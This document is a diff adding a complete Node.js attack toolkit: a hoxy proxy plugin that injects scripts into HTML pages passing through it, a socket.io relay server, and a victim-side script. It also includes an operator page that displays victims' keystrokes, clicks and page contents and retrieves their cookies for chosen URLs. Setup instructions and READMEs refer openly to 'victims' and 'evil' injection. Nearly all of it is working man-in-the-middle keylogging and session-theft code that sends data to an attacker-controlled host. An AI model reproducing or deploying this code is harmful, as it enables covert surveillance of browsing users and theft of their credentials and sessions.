--- /dev/null
+Copyright (c) 2013, Jann Horn <jann@thejh.net>
+All rights reserved.
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions are met:
+
+1. Redistributions of source code must retain the above copyright notice, this
+ list of conditions and the following disclaimer.
+2. Redistributions in binary form must reproduce the above copyright notice,
+ this list of conditions and the following disclaimer in the documentation
+ and/or other materials provided with the distribution.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
+ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
+ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
\ No newline at end of file
--- /dev/null
+This is the injection-proxy part. Preparation:
+
+1. create a file "config.txt". contents:
+
+my_ip=<YOUR IP HERE>
+server_port=<SERVER PORT OF THE JSSRV COMPONENT HERE>
+
+2. do "npm install hoxy" (this requires nodejs)
+
+3. copy (or link)
+ - inject-evil.js to node_modules/hoxy/plugins/inject_evil.js
+ - hoxy_rules.txt to node_modules/hoxy/hoxy-rules.txt
+
+
+Running: Execute "node_modules/hoxy/bin/hoxy"
\ No newline at end of file
--- /dev/null
+# THIS IS AN EXAMPLE FILE THAT CONTAINS EXAMPLE RULES FOR HOXY.
+# UNCOMMENT TO ACTIVATE. SEE readme.markdown IN THIS DIR FOR SYNTAX HELP.
+
+# add a visible banner alerting user of proxy
+#response: if $content-type contains 'html', @banner("currently browsing through a web hacking proxy")
+
+# log every request to a given host
+#response: if $hostname eq 'example.com', $url.log()
+
+# use css and js from the staging server
+#request: if $ext eq "js" and $host eq "www.example.com", $host.set-to('www-stage.example.com:83')
+#request: if $ext eq "css" and $host eq "www.example.com", $host.set-to('www-stage.example.com:83')
+
+response: if $content-type contains 'html', @inject-evil()
--- /dev/null
+var fs = require('fs')
+
+var config = fs.readFileSync('config.txt', 'utf8').split('\n').map(function(l) {return l.split('=')})
+var my_ip = config.filter(function(l){return l[0]=='my_ip'})[0][1]
+var server_port = config.filter(function(l){return l[0]=='server_port'})[0][1]
+var evil_master = my_ip+':'+server_port
+
+var io = require('socket.io-client').connect('http://'+evil_master)
+
+exports.run = function(api) {
+ console.log('injecting...')
+ var qinf = api.getRequestInfo()
+ io.emit('request', {url: qinf.absUrl, headers: qinf.headers})
+ var body = api.getResponseBody()
+ var headIndex = body.indexOf('<head>')+6
+ if (headIndex == 5) headIndex = 0
+ body = body.substr(0, headIndex) +
+ '\n<script>var __evil_injection_server="'+evil_master+'"</script>' +
+ '\n<script src="http://'+evil_master+'/socket.io/socket.io.js"></script>' +
+ '\n<script src="http://'+evil_master+'/injection_script.js"></script>' +
+ body.substr(headIndex)
+ api.setResponseBody(body)
+ api.notify()
+}
--- /dev/null
+This is the component that handles stuff after the hoxy component
+has injected the evil <script>.
+
+Preparing: run "npm install"
+
+Running: "./jssrv.js <server_port>"
+
+server_port must be a port that is currently free. You must
+specify the same port in the config file for the hoxy component.
+
+To see the keypresses of victims, go to
+
+http://<yourip>:<server_port>/snooper.html
\ No newline at end of file
--- /dev/null
+#!/usr/bin/env node
+
+if (process.argv.length !== 3) {
+ console.error('invocation: ./jssrv.js <http_port>')
+ process.exit(1)
+}
+
+var express = require('express')
+var app = express()
+var server = require('http').createServer(app)
+var io = require('socket.io').listen(server)
+
+app.use(express.static(__dirname + '/public'))
+
+server.listen(parseInt(process.argv[2]))
+
+var snoopers = []
+var victims = []
+
+io.sockets.on('connection', function(socket) {
+ /*socket.on('screenshot', function(data) {
+ // data.data
+ snoopers.forEach(function(snooper) {
+ snooper.emit('screenshot', {data: data.data})
+ })
+ })
+ socket.on('fulldom', function(data) {
+ snoopers.forEach(function(snooper) {
+ snooper.emit('fulldom', {data: data.data})
+ })
+ })*/
+ socket.on('keypress', function(data) {
+ snoopers.forEach(function(snooper) {
+ snooper.emit('keypress', data)
+ })
+ })
+ socket.on('register_snooper', function() {
+ if (victims.indexOf(socket) === -1) snoopers.push(socket)
+ })
+ socket.on('register_victim', function() {
+ if (snoopers.indexOf(socket) === -1) victims.push(socket)
+ })
+ socket.on('disconnect', function() {
+ var i = snoopers.indexOf(socket)
+ if (i !== -1) snoopers.splice(i, 1)
+ i = victims.indexOf(socket)
+ if (i !== -1) victims.splice(i, 1)
+ })
+ socket.on('get_url_cookies', function(cmd) {
+ var victim = victims[0]
+ if (!victim) return
+ victim.emit('trigger_request', cmd)
+ })
+ socket.on('request', function(data) {
+ console.log('got req')
+ snoopers.forEach(function(snooper) {
+ console.log('sreq')
+ snooper.emit('request', data)
+ })
+ })
+})
\ No newline at end of file
--- /dev/null
+{
+ "name": "browserman_jssrv",
+ "version": "0.0.0",
+ "description": "This is the component that handles stuff after the hoxy component has injected the evil <script>.",
+ "main": "jssrv.js",
+ "dependencies": {
+ "socket.io": "~0.9.16",
+ "express": "~3.3.4"
+ },
+ "devDependencies": {},
+ "scripts": {
+ "test": "echo \"Error: no test specified\" && exit 1"
+ },
+ "repository": "",
+ "author": "",
+ "license": "BSD",
+ "readmeFilename": "README"
+}
--- /dev/null
+(function() {
+
+if (window.__injection_active) return
+window.__injection_active = true
+
+var socket = io.connect('http://'+__evil_injection_server);
+socket.emit('register_victim')
+if (window.top === window) {
+ setInterval(function() {
+ /*html2canvas(document.body, { onrendered: function(canvas) {
+ socket.emit('screenshot', {data:canvas.toDataURL()})
+
+ }})*/
+ [].forEach.call(document.getElementsByTagName('input'), function(e) {
+ e.setAttribute('value', e.value)
+ })
+ socket.emit('fulldom', {data:escape(document.childNodes[document.childNodes.length-1].innerHTML)})
+ }, 100)
+}
+
+/*if (window.top === window) {
+ setInterval(function() {
+ //var docclone = document.createElement('html')
+ //docclone.innerHTML = document.body.parentNode.innerHTML
+
+ }, 10000)
+}*/
+
+window.addEventListener('keydown', function(e) {
+ socket.emit('keypress', {charCode: e.charCode, keyCode: e.keyCode, type: 'keydown'})
+}, true)
+
+window.addEventListener('keypress', function(e) {
+ socket.emit('keypress', {charCode: e.charCode, keyCode: e.keyCode, type: 'keypress'})
+}, true)
+
+window.addEventListener('click', function(e) {
+ var target = e.target
+ while (['a','button','input'].indexOf(target.nodeName.toLowerCase()) === -1) {
+ target = target.parentNode
+ }
+ var text = target ? target.innerText : null
+ socket.emit('keypress', {type: 'click', text: text})
+}, true)
+
+socket.on('trigger_request', function(cmd) {
+ var img_el = document.createElement(cmd.type||'img')
+ img_el.style.opacity = '0%'
+ img_el.src = cmd.url
+ document.body.appendChild(img_el)
+ setTimeout(function() {
+ document.body.removeChild(img_el)
+ }, 60000)
+})
+
+})()
\ No newline at end of file
--- /dev/null
+<!DOCTYPE html>
+<html>
+ <head>
+ <script src="/socket.io/socket.io.js"></script>
+ <script>
+ var λ = document.getElementById.bind(document)
+ var socket = io.connect(document.location.origin)
+ socket.emit('register_snooper')
+ /*socket.on('screenshot', function(data) {
+ λ('screen_display').src = data.data
+ })*/
+ /*socket.on('fulldom', function(data) {
+ λ('iframe').src = 'data:text/html;charset=utf-8,' + escape(data.data)
+ })*/
+ function keyname(e) {
+ if (e.type === 'keydown') {
+ if (e.keyCode === 8) return '<backspace>'
+ if (e.keyCode === 46) return '<delete>'
+ if (e.keyCode === 13) return '<enter>'
+ if (e.keyCode === 9) return '<tab>'
+ }
+ if (e.type === 'keypress') {
+ return String.fromCharCode(e.charCode)
+ }
+ if (e.type === 'click') {
+ return e.text ? ('<click "'+e.text+'">') : '<click>';
+ }
+ return ''
+ }
+ socket.on('keypress', function(data) {
+ var txt = document.createTextNode(keyname(data))
+ if (txt) λ('inputlog').appendChild(txt)
+ })
+ socket.on('request', function(data) {
+ console.log(data)
+ })
+
+ function get_cookies() {
+ var url = λ('url_in').value
+ socket.emit('get_url_cookies', {url: url})
+ function maybe_show_cookie(res) {
+ if (res.url !== url) return console.log('mismatch: '+res.url+' vs '+url)
+ socket.removeListener('request', maybe_show_cookie)
+ λ('inputlog').appendChild(document.createElement('br'))
+ λ('inputlog').appendChild(document.createTextNode('cookies for '+url+': '+res.headers.cookie))
+ λ('inputlog').appendChild(document.createElement('br'))
+ }
+ socket.on('request', maybe_show_cookie)
+ }
+ </script>
+ </head>
+ <body>
+ <!-- <img id="screen_display" style="position: absolute; top: 0px; left: 0px"> -->
+ <!-- <iframe id="iframe" style="position: absolute; top: 0px; left: 0px" sandbox
+ width="100%" height="100%"></iframe> -->
+ <input id="url_in"><button onclick="get_cookies()">get cookies</button>
+ <br>
+ <div id="inputlog" style="">
+ </body>
+</html>
\ No newline at end of file